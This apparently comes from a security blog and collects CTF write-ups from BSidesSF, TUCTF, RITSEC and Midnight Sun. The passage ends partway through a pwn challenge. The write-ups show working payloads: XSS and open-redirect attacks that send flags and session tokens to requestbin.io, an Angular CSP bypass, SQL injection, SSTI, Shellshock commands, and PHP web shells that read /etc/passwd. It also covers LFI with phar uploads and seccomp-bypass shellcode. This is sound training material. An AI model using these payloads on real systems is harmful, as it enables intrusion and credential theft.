Monday, March 15, 2021

BSidesSF 2021 - Web Challenges

CuteSRV (101)

Description:
Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!

https://cutesrv-0186d981.challenges.bsidessf.net

(author: matir)

This challenge was fun, cute and straight-forward once the bug is found.

First we're presented with a page of cute photos and the nav bar allows us to Login or Submit a new image for review.

Looking in the source, there's a /flag.txt route which must be the goal of the challenge, but when visiting it we get a message 'Not Authorized'.

If we visit Login we can click the only link available and it will automatically log us in and redirect us to the main page.

on /submit it gives us the ability to submit a URL which the admin will visit. This is typical in a lot of CSRF challenges, so we can start by checking the User-Agent and other features when it visits our link, pointing to a server we own or using something like https://requestbin.io/.

Even if we find XSS, the site is using HttpOnly cookies, so we probably need to find something else.

Checking out the Login route again while watching the requests, it does something interesting. When requesting /check from the login service it will include the session token in the URL, but does not restrict which URL it redirects to. Using this bug we can force the Admin user to send their own session token to our site instead.

We can use RequestBin again to steal the session token authtok, submitting this link to the admin:

https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1

Now we can reach the /flag.txt route which is only available to the admin:

curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \
-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ' 

And we get the Flag!

FLAG: CTF{i_hope_you_made_it_through_2020_okay}

CSP 1 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-1-581db2b1.challenges.bsidessf.net

(flag path: /csp-one-flag)

(author: itsc0rg1)

If we look at the Content Security Policy (CSP) for this page, we can see it's very open. To identify this, you can learn each rule or use a tool such as https://csp-evaluator.withgoogle.com/.

The CSP in this case was:

default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *

The unsafe-inline keyword will allow execution of arbitrary inline scripts.

Let's start with a simple XSS payload:

<img src=x onerror=alert(1) />

This already works! So now we only need to get the flag from the /csp-one-flag route after the admin visits it. We can use fetch for this. We'll also use https://requestbin.io/ again.

Here's the final payload submitted to the admin:

<img src=x onerror='fetch("/csp-one-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/yj1y96yj?x=" + t))' />

And we get a flag back on the RequestBin side:

CTF{Can_Send_Payloads}

CSP 2 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-2-f692634b.challenges.bsidessf.net

(flag path: /csp-two-flag)

(author: itsc0rg1)

This challenge was simmilar to the last one where we need to send an XSS payload to an admin to get the flag.

Checking the CSP this time we have:

script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

This one has the issue of using script-src from cdnjs.cloudflare.com. If we can use a script from CloudFlare to execute arbitrary JS, we win!

To do this we can use Angular to evaluate JS within an Angular context. Here's a simple example to test:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('alert(1)')()}}

This payload seems to work!

Now we just need to exfiltrate the flag like the last challenge using fetch.

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}

Then we get the Flag on RequestBin:

CTF{Can_Still_Pwn}

Sunday, November 25, 2018

TUCTF 2018 - Reversing

Table of Contents

Danger Zone (112)

Description:
Difficulty: easy

Legend says, this program was written by Kenny Loggins himself.

In the first challenge we're given a dangerzone.pyc file.

First we can extract the original python file using uncompyle6:

$ uncompyle6 dangerzone.pyc > dangerzone.py

This gives us the original source:

import base64

def reverse(s):
    return s[::-1]


def b32decode(s):
    return base64.b32decode(s)


def reversePigLatin(s):
    return s[-1] + s[:-1]


def rot13(s):
    return s.decode('rot13')


def main():
    print 'Something Something Danger Zone'
    return '=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ'


if __name__ == '__main__':
    s = main()
    print s

Looks like we have a lot of unused dead code functions and a return value (s) which is is shown when running the pyc normally:

Something Something Danger Zone
=YR2XYRGQJ6KWZENQZXGTQFGZ3XCXZUM33UOEIBJ

We probably didn't need to recover the python file to solve it, but we'll use the given functions to make our lives easier.

First this looks like base64, so we can use the provided b32decode after reverse, because = always goes at the end of a base64 encoded string:

print b32decode(reverse(s))

This gives us:

Something Something Danger Zone
HPGS{e3q_y1a3_0i3ey04q}G

Looks very close to a flag! : )

Now we have reversePigLatin (rotates misplaced end character to the front) & rot13 remaining:

print rot13(reversePigLatin(b32decode(reverse(s))))

And that was it!

TUCTF{r3d_l1n3_0v3rl04d}

yeahright (149):

Description:
Difficulty: very easy

What an insensitive little program.
Show it who's boss!

nc 18.224.3.130 12345

This challenge went quickly after looking at the strings:

$ r2 yeahright

[0x00000810]> iz
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x00000a98 0x00000a98  40  41 (.rodata) ascii 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
001 0x00000ac1 0x00000ac1  20  21 (.rodata) ascii *Ahem*... password?
002 0x00000ad6 0x00000ad6  10  11 (.rodata) ascii yeahright!
003 0x00000ae1 0x00000ae1  15  16 (.rodata) ascii /bin/cat ./flag

Looks like it checks a password (hard-coded) and cats the flag if it's correct, trying it locally we get the dummy flag with that 'secret' string:

$ ./yeahright
*Ahem*... password? 7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w
flag{test-flag-here}

Trying it remotely we get the real flag:

$ echo '7h3_m057_53cr37357_p455w0rd_y0u_3v3r_54w' | nc 18.224.3.130 12345
TUCTF{n07_my_fl46_n07_my_pr0bl3m}

Shoop (370):

Description:
Difficulty: easy

Black Hole Sun, won't you come
and put sunshine in my bag
I'm useless, but not for long
so whatcha whatcha whatcha want?

nc 18.220.56.147 12345

This challenge also had a cat ./flag function with an interesting secret value:

$ rabin2 -z shoop
vaddr=0x00000c24 paddr=0x00000c24 ordinal=000 sz=24 len=23 section=.rodata type=ascii string=Gimme that good stuff:
vaddr=0x00000c3c paddr=0x00000c3c ordinal=001 sz=17 len=16 section=.rodata type=ascii string=Survey Says! %s\n
vaddr=0x00000c4d paddr=0x00000c4d ordinal=002 sz=22 len=21 section=.rodata type=ascii string=jmt_j]tm`q`t_j]mpjtf^   <-
vaddr=0x00000c63 paddr=0x00000c63 ordinal=003 sz=14 len=13 section=.rodata type=ascii string=That's right!
vaddr=0x00000c71 paddr=0x00000c71 ordinal=004 sz=16 len=15 section=.rodata type=ascii string=/bin/cat ./flag
vaddr=0x00000c81 paddr=0x00000c81 ordinal=005 sz=18 len=17 section=.rodata type=ascii string=Close... probably

If we look at an ltrace run of the binary, we can see the expected input buffer size:

$ ltrace -fi ./shoop

[pid 5129] [0x7f2ed20759b6] setvbuf(0x7f2ed1e4a400, 0, 2, 20)                                    = 0
[pid 5129] [0x7f2ed20759d4] setvbuf(0x7f2ed1e4a640, 0, 2, 20)                                    = 0
[pid 5129] [0x7f2ed20759eb] malloc(22)                                                           = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075a09] memset(0x7f2ed2516010, '\0', 22)                                     = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075a1a] printf("Gimme that good stuff: "Gimme that good stuff: )             = 23
[pid 5129] [0x7f2ed2075a31] read(0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA , "AAAAAAAAAAAAAAAAAAAAA", 21)  = 21
[pid 5129] [0x7f2ed2075a3e] malloc(21)                                                           = 0x7f2ed2516030
[pid 5129] [0x7f2ed2075a95] memcpy(0x7f2ed2516010, "AAAAAAAAAAAAAAAAAAAAA", 21)                  = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075b34] memcpy(0x7f2ed2516010, "<<<<<<<<<<<<<<<<<<<<<", 21)                  = 0x7f2ed2516010
[pid 5129] [0x7f2ed2075b4c] printf("Survey Says! %s\n", "<<<<<<<<<<<<<<<<<<<<<"Survey Says! <<<<<<<<<<<<<<<<<<<<<)  = 35
[pid 5129] [0x7f2ed2075b65] memcmp(0x7f2ed2516010, 0x7f2ed2075c4d, 21, -1)                       = 0xffffffd2
[pid 5129] [0x7f2ed2075b8f] puts("Close... probably"Close... probably)                           = 18
[pid 5129] [0xffffffffffffffff] +++ exited (status 0) +++

It reads 21 bytes using read(...) and malloc's the same length.

If we look at the secret string from the strings output, it's also 21 bytes:

jmt_j]tm`q`t_j]mpjtf^

Seems like it transformed the input character 'A' into '<', this would be a shift of 5 if it's that simple:

>>> print ord('A') - ord('<')
5

Trying a couple other values it seems to keep the pattern:

$ ./shoop
Gimme that good stuff: AAAABBBBCCCCDDDDEEEE
Survey Says! >>>====<<<<@@@@????>
Close... probably

We can verify this with a small python list comprehension:

>>> ''.join([chr(ord(x) + 5) for x in '>>>====<<<<@@@@????>'])
'CCCBBBBAAAAEEEEDDDDC'

Hmmmmm, why is it out of order? Seems like it's a shift and order modification.

Let's see if we can map both at once:

$ python -c 'import string; print string.uppercase[:21]' | ./shoop
Gimme that good stuff: Survey Says! FEDCBA@?>=<PONMLKJIHG
Close... probably

$ python
>>> encoded = ''.join([chr(ord(x) + 5) for x in 'FEDCBA@?>=<PONMLKJIHG'])
>>> encoded # inspect encoding placement
'KJIHGFEDCBAUTSRQPONML'
>>> ''.join(sorted(encoded)) # check for data loss
'ABCDEFGHIJKLMNOPQRSTU'

Looks like we don't lose any characters during the encoding, so we could map each value from the encoded to the plaintext:

dest = 'KJIHGFEDCBAUTSRQPONML'
source = 'ABCDEFGHIJKLMNOPQRSTU'

# dest -> source
mapping = map(lambda ch: source.find(ch), dest)

print mapping

This gives us the index transposition map:

[10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11]

Next up is to convert the secret string we found using the two transformations above -- shift & order.

Starting with the shift, it gives us something clean:

>>> ''.join([chr(ord(x) + 5) for x in 'jmt_j]tm`q`t_j]mpjtf^'])
'orydobyreveydobruoykc'

Now we can modify our script to get the correct order:

dest = 'KJIHGFEDCBAUTSRQPONML'
source = 'ABCDEFGHIJKLMNOPQRSTU'
target = 'orydobyreveydobruoykc'

# dest -> source
mapping = map(lambda ch: source.find(ch), dest)
result = ''.join(map(lambda m: target[m], mapping))

print result

The Result:

everybodyrockyourbody

Attempting this as the password locally drops the fake flag:

$ ./shoop

Gimme that good stuff: everybodyrockyourbody
Survey Says! jmt_j]tm`q`t_j]mpjtf^
That's right!
flag{test-flag-here}

Trying the remote, we get the flag!

$ echo 'everybodyrockyourbody' | nc 18.220.56.147 12345

Gimme that good stuff: everybodyrockyourbody
Survey Says! jmt_j]tm`q`t_j]mpjtf^
That's right!
TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}
TUCTF{5w337_dr34m5_4r3_m4d3_0f_7h353}

Tuesday, November 20, 2018

RITSEC CTF 2018 - Web

Table of Contents

Space Force (100)

The first challenge was basic SQLi:
' or 1=1#
This dumped all results including the flag:
RITSEC{hey_there_h4v3_s0me_point$_3ny2Lx}

The Tangled Web (200):

This challenge had multiple links leading to many pages. The point of the challenge seemed to teach spidering / mirroring:
$ wget -rm http://fun.ritsec.club:8007/

Looking for files containing the term flag:

$ grep -ri 'flag' .

fun.ritsec.club:8007/Waving.html
17:        <th><a href="Fl4gggg1337.html" style="color: white">Flag</a></th>

fun.ritsec.club:8007/Fl4gggg1337.html
18:    <p style="color: white">Ha you thought there would be a flag here? Nice try :)</p>

Fl4gggg1337.html sounds interesting! Looking in there we find a link to Stars.html:

$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Decoding the base64, we get the flag!

$ echo UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0= | base64 -D
RITSEC{AR3_Y0U_F3371NG_1T_N0W_MR_KR4B5?!}

Crazy Train (250):

This webapp had an article list & submission:

The title of this challenge & 404 page revealed it's a rails app:

Submitting a new article resulted in an interesting hidden parameter with an empty value:

..&article[a]=&..

With no value specified the POST would result in a blank page.

If we add a value to article[a] it reflects back to the client:

..&article[a]=AAAA&..

AAAA

Knowing this is a rails app, we can try ERB SSTI (skipping url-encoding in this post for clarity):

..&article[a]="AAAA" + (7 * 7).to_s + "BBBB"&..

AAAA49BBBB

Looks like it worked! Let's try something more productive:

..&article[a]=Dir["./*"].to_s&..

["./tmp", "./db", "./log", "./Gemfile", "./lib", "./Gemfile.lock",
 "./config.ru", "./test", "./package.json", "./bin", "./public", "./README.md",
 "./app", "./config", "./Rakefile", "./storage", "./flag.txt", "./vendor"]

Now just read the flag:

..&article[a]=File.read("./flag.txt").to_s&..
RITSEC{W0wzers_who_new_3x3cuting_c0de_to_debug_was_@_bad_idea}

What a cute dog! (350):

This web challenge had a minimal page with some linux output:

Looks like command injection. Looking in the source we can see the cgi-bin script used:

<iframe frameborder=0 width=800 height=600 src="/cgi-bin/stats"></iframe>

Visiting the cgi-bin script directly we get the same stats output as the home page.

If we curl the cgi script with shellshock in the User-Agent header, we get command execution:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'id'" http://fun.ritsec.club:8008/cgi-bin/stats

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Looking for flag.txt on the server, we find it in /opt:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'find / -type f -name flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats

/opt/flag.txt

Then we just read the flag:

$ curl -H "user-agent: () { :; }; echo; /bin/bash -c 'cat /opt/flag.txt'" http://fun.ritsec.club:8008/cgi-bin/stats
RITSEC{sh3ll_sh0cked_w0wz3rs}

Lazy Dev (400):

This challenge starts from The Tangled Web. To recap, we got a note in the HTML comments:
$ cat fun.ritsec.club:8007/Stars.html
...
  <center><p>UklUU0VDe0FSM19ZMFVfRjMzNzFOR18xVF9OMFdfTVJfS1I0QjU/IX0=</p></center>
</body>
</html>

<!-- REMOVE THIS NOTE LATER -->
<!-- Getting remote access is so much work. Just do fancy things on devsrule.php -->
...

Sounds like devsrule.php contains a backdoor.

If we look at that page, we see:

$ curl http://fun.ritsec.club:8007/devsrule.php

Not what you input eh?
This param is 'magic' man.

This didn't give us much to work with, but trying to play with the params in unsual ways, it reacts:

$ curl http://fun.ritsec.club:8007/devsrule.php?magic[]=1

Not what you input eh?
This param is 'magic' man.
Are you trying to hack me? That's mean :(

So we know it must have something to do with this magic param as mentioned in the description.

The next part took a while to figure out, but it's also mentioned in the description. The only other word which stands out is 'input'.

PHP contains a special wrapper 'input://' which can take 'stdin' from POST data. Adding this with the magic parameter, and a webshell in the POST data, we get what we would expect:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("id"); ?>'

Not what you input eh?<br>This param is 'magic' man.<br><br>

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Grabbing the users, we see joker, which may be where the flag is:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /etc/passwd"); ?>'

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
joker:x:1000:1000:,,,:/home/joker:/bin/bash
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin

Looking in joker's home directory we see a flag.txt, and cat it:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<?php echo system("cat /home/joker/flag.txt"); ?>'
RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}

Archivr (300):

The first bug was found very quickly. After visiting one of the pages, we get a URL like:

http://fun.ritsec.club:8004/index.php?page=upload

This looks like LFI. It seems to work with a base64 encoded dump of index.php and other pages:

$ curl http://fun.ritsec.club:8004/index.php?page=php://filter/convert.base64-encode/resource=index

PD9waHAKaW5jbHVkZSgiY2xhc3Nlcy5waHAuaW5jIik7CmluY2x1ZGUoKGlzc2V0KCRfR0VUWydwYWdlJ10pICYmIGlzX3N0cmluZygkX0dFVFsncGFnZSddKSA/ICRfR0VUWydwYWdlJ10gOiAiaG9tZSIpIC4gIi5waHAiKTsKPz4K

This decodes to:

<?php
  include("classes.php.inc");
  include((isset($_GET['page']) && is_string($_GET['page']) ? $_GET['page'] : "home") . ".php");
?>

We can see why the LFI happened, now what does upload do? The main chunk of code is:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if ($_FILES['upload']['size'] > 5000) { //max 5KB
        die("File too large!");
    }
    $filename = $_FILES['upload']['name'];


    $upload_time = time();
    $upload_dir = "uploads/" . md5($_SERVER['REMOTE_ADDR']) . "/";

    $ext = "";
    if (strpos($filename, '.') !== false) {
        $f_ext = explode(".", $filename)[1];
        if (ctype_alnum($f_ext) && stripos($f_ext, "php") === false) {
            $ext = "." . $f_ext;
        } else {
            $ext = ".dat";
        }
    } else {
        $ext = ".dat";
    }

    $upload_path = $upload_dir . md5($upload_time) . $ext;
    mkdir($upload_dir, 770, true);

    //Enforce maximum of 10 files
    $dir = new DirLister($upload_dir);
    if ($dir->getCount() >= 10) {
        unlink($upload_dir . $dir->getOldestFile());
    }

    move_uploaded_file($_FILES['upload']['tmp_name'], $upload_path);
    $key = $upload_time . $ext;
}
?>

It uploads a user provided file under 5KB to an /uploads/md5(SERVER_IP)/ directory with the md5 value of time().

The server's internal IP can be obtained from one of the previous challenges - Lazy Dev:

$ curl 'http://fun.ritsec.club:8007/devsrule.php?magic=php://input' --data '<pre><?php echo system("netstat -n"); ?></pre>'

Not what you input eh?<br>This param is 'magic' man.<br><br><pre>Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 172.27.0.2:80           10.0.10.254:45996       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46396       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46096       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45826       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46524       SYN_RECV
tcp        0      0 172.27.0.2:80           10.0.10.254:46794       ESTABLISHED
tcp        0      0 172.27.0.2:80           10.0.10.254:46520       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46246       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:45944       TIME_WAIT
tcp        0      0 172.27.0.2:80           10.0.10.254:46076       TIME_WAIT
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags       Type       State         I-Node   Path
Proto RefCnt Flags       Type       State         I-Node   Path</pre>

The target internal IP is:

10.0.10.254

Next we can upload a simple web-shell and include it using the PHP wrapper phar://.

The web-shell (shell.php):

<pre><? echo system($_GET['cmd']); ?></pre>

Zipping the web-shell for usage with phar:

$ zip -0 shell.zip shell.php

After uploading shell.zip we get the current time with a .zip extension: 1542574010.zip.

The new filename will be md5(time()) or md5('1542574010'):

$ echo -n 1542574010 | md5

61fda3e4ccb1a54721aa8b42519de46e

The upload directory will be the md5 hash of the internal IP we found:

$ echo -n 10.0.10.254 | md5

98d3cbed97b0bc491c000455c9f8e6fb

Combining this all together, using the same url as the LFI with phar:// instead of php://filter, we can list the directory:

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=ls

...
c1f3d7e3e54a30dd7c66f1840b3afe90_flag.txt
download.php
index.php
upload.php
...

Looks like we have the flag!

$ curl http://fun.ritsec.club:8004/index.php?page=phar:///var/www/html/uploads/98d3cbed97b0bc491c000455c9f8e6fb/61fda3e4ccb1a54721aa8b42519de46e.zip/shell&cmd=cat *flag.txt
RITSEC{uns3r1al1z3_4LL_th3_th1ng5}

Wednesday, April 25, 2018

BSidesSF CTF 2018 - Intel Coder (200)


This challenge was like a "baby's first" x86 challenge, with a couple small twists.

First if we run it we can get a segfault quickly (looks like it will just run our shellcode):

$ ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
4
[+] OK, please send the shellcode.
AAAA
[+] Setting up sandbox.
[1]    6014 segmentation fault (core dumped)  ./coder

The statement "Setting up sandbox." sounds interesting, we should probably investigate that.

Looking for this string in Binary Ninja and finding the relevant Xrefs in main we find a function right underneath the print:


This binary is stripped so we don't get a nice name for sandbox setup, we can rename sub_2200a in Binary Ninja by clicking it, hitting 'n' and typing a new symbol name, such as 'setup-sandbox'.

Looking at this function we can see what's familiar to seccomp setup. Another post covering seccomp on a binary is mute, using this as a reference we can rename the other unlabeled functions such as 'seccomp_rule_add'. It looks very similar to mute where we can look up the arguments and syscalls being passed to seccomp, but there's something slightly more complicated below:


We could analyze this manually, but it would be a lot nicer to use seccomp-tools:

$ echo '1\nA\n' | seccomp-tools dump ./coder
[+] It's 2018, so we run everything in the cloud.
[+] And I mean everything -- even our shellcode testing service.
[+] Perhaps you'd like to test your shellcode?
[+] Please send the length of your shellcode followed by a newline.
[+] OK, please send the shellcode.
[+] Setting up sandbox.
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0d 0x00 0x00000003  if (A == close) goto 0018
 0005: 0x15 0x0c 0x00 0x0000000f  if (A == rt_sigreturn) goto 0018
 0006: 0x15 0x0b 0x00 0x00000028  if (A == sendfile) goto 0018
 0007: 0x15 0x0a 0x00 0x0000003c  if (A == exit) goto 0018
 0008: 0x15 0x09 0x00 0x000000e7  if (A == exit_group) goto 0018
 0009: 0x15 0x00 0x09 0x00000002  if (A != open) goto 0019
 0010: 0x20 0x00 0x00 0x00000014  A = args[0] >> 32
 0011: 0x15 0x00 0x07 0x00007f35  if (A != 0x7f35) goto 0019
 0012: 0x20 0x00 0x00 0x00000010  A = args[0]
 0013: 0x15 0x00 0x05 0x5e303428  if (A != 0x5e303428) goto 0019
 0014: 0x20 0x00 0x00 0x0000001c  A = args[1] >> 32
 0015: 0x15 0x00 0x03 0x00000000  if (A != 0x0) goto 0019
 0016: 0x20 0x00 0x00 0x00000018  A = args[1]
 0017: 0x15 0x00 0x01 0x00000000  if (A != 0x0) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

This clearly shows us the seccomp rules are setup to allow: close, rt_sigreturn, sendfile, exit, exit_group & open.

We have your typical ORW (open/read/write) restriction, where read & write is taken care of in the syscall sendfile.

Under line 0009 we can see it expects arguments for open to be set correctly. In the binary there's a mention of './flag.txt' @ 0x2b428, this is probably the argument the seccomp rule is referring to, but we can verify this by looking in Binary Ninja.

At the bottom of the image above, we see a reference to data_245110. Clicking that takes us to the data section referencing 0x2b428, which we just found was './flag.txt':


So now we know our shellcode should have the following constraints:
  • 64 bit
  • use open with the argument './flag.txt'
  • use sendfile to read & write after open

This seems fairly simple! There's only one more catch.
We will need to get the exact address of './flag.txt' which is randomized because PIE is enabled:

$ checksec coder
[*] './coder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

We can setup a very simple client to check out the state of registers once it executes our shellcode:

#!/usr/bin/env python
from pwn import *

if args.LOCAL:
  p = process(['./coder'])
else:
  p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)

context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')

payload = '\xcc' * 10
payload = '{}\n{}\n'.format(len(payload), payload)

p.sendline(payload)
p.interactive()

Running this in a new tmux session with the LOCAL flag set, we can continue and hit the interrupt setup in the beginning of our payload:

$ python client.py LOCAL
...
[──────────────────────────────────REGISTERS──────────────────────────────────]
*RAX  0x7fc5de64f000 <— 0xcccccccccccccccc
*RBX  0x0
*RCX  0x7fc5de652fe0 <— 0
*RDX  0x7fc5de449190 <— mov    rsp, rsi
*RDI  0x7fc5de64f000 <— 0xcccccccccccccccc
*RSI  0x7fc5de652fe0 <— 0
*R8   0x7fc5df54e000 <— 0x0
*R9   0x7fc5df54e010 —▸ 0x7fc5df54e390 <— 0xd0
*R10  0x7fc5de1fb7b8 (main_arena+88) —▸ 0x7fc5df54ea10 <— 0x0
*R11  0x246
*R12  0x7fc5de4487d0 <— xor    ebp, ebp
*R13  0x7fffa312c570 <— 0x1
*R14  0x0
*R15  0x0
*RBP  0x7fffa312c490 <— 0x0
*RSP  0x7fc5de652fe0 <— 0
*RIP  0x7fc5de64f001 <— 0xcccccccccccccccc
[───────────────────────────────────DISASM────────────────────────────────────]
   0x7fc5de64f000    int3
 ► 0x7fc5de64f001    int3

The assembly instructions in RDX look very familiar from previous reversing.  Looking at the positive flow after the seccomp rules are setup, this function is called:


We can verify the next instruction of RDX is 'jmp rdi' as well:

pwndbg> x/2i 0x7fc5de449190
   0x7fc5de449190:      mov    rsp,rsi
   0x7fc5de449193:      jmp    rdi

Remember the flag was @ 0x2b428.  Subtracting this from the offset of the instruction above to get the required amount to add to RDX:

pwndbg> p/x 0x2b428 - 0x22190
$1 = 0x9298

pwndbg> x/s $rdx + 0x9298
0x7fc5de452428: "./flag.txt"

Now we can write a small amount of assembly to take care of this before we reach the open syscall:

add rdx, 0x9298
mov rax, rdx

Using shellcraft from pwntools will be very useful in this situation to generate custom shellcode:

o = pwnlib.shellcraft.open('rax', 0)
s = pwnlib.shellcraft.sendfile(1, 'rax', 0, 40)

This executes open using the address of './flag.txt' we loaded into RAX, setting the oflag to 0 or O_RDONLY for a read-only mode.  Then it executes sendfile writing to stdout (1), using the address returned from open (RAX), the offset into the string (0), and the amount of bytes to read.

Putting this all together we get a client that looks something like this:


Running this client against the CTF server, we get a flag!

$ python client.py NOPTRACE

flag:i_can_haz_shellcodez

If you'd like to read more about the coder series of binaries for BSidesSF 2018, check out @matir's excellent post! - https://systemoverlord.com/2018/04/21/bsidessf-ctf-2018-coder-series-authors-pov.html

Monday, April 23, 2018

Midnight Sun CTF Quals 2018 - Babyshells & Jeil



This CTF was a lot of fun! The style of the board and assets in the game were extremely creative and well done!

Here are the challenges from the competition:



First we're going to start with Babyshells, a simple 50pt pwn challenge. Then move onto Jeil, a 200pt pwn challenge involving a JavaScript jail.


Babyshells


Description:

If you hold a babyshell close to your ear, you can hear a stack getting smashed

Solves: 71
Service: nc 52.30.206.11 7000 (x86) | nc 52.30.206.11 7001 (ARM) | nc 52.30.206.11 7002 (MIPS)
Download: https://s3-eu-west-1.amazonaws.com/dl.midnightsunctf.se/babyshells.tar.gz
Author: likvidera

This one was a simple baby's first 90's shellcode style exploitation challenge, with the caveat that you have to exploit a binary on multiple architectures to get the flag.

Each binary would drop a part of the flag, so in order to complete the challenge, you would need to exploit all of them.

Running the x86 binary we get some nice ASCII art : ) -- It's also easy to make it crash!



Starting with dynamic analysis, cyclic will show the offset of the SIGSEGV as 40, but when using the interrupt (0xCC) we find the exact offset to be 38 (this offset will be used across all binaries in this challenge):

$ gdb ./chall
pwndbg> r <<< $(python -c 'from pwn import *; print "1\n" + cyclic(100)')
...
*EIP  0xffffce6a &lt;— 0x6161616b ('kaaa')
pwndbg> cyclic -l 0x6161616b
40

$ python -c 'from pwn import *; print "1\n" + "A"*38 + "\xcc"' | strace -i ./chall |& grep SIGTRAP
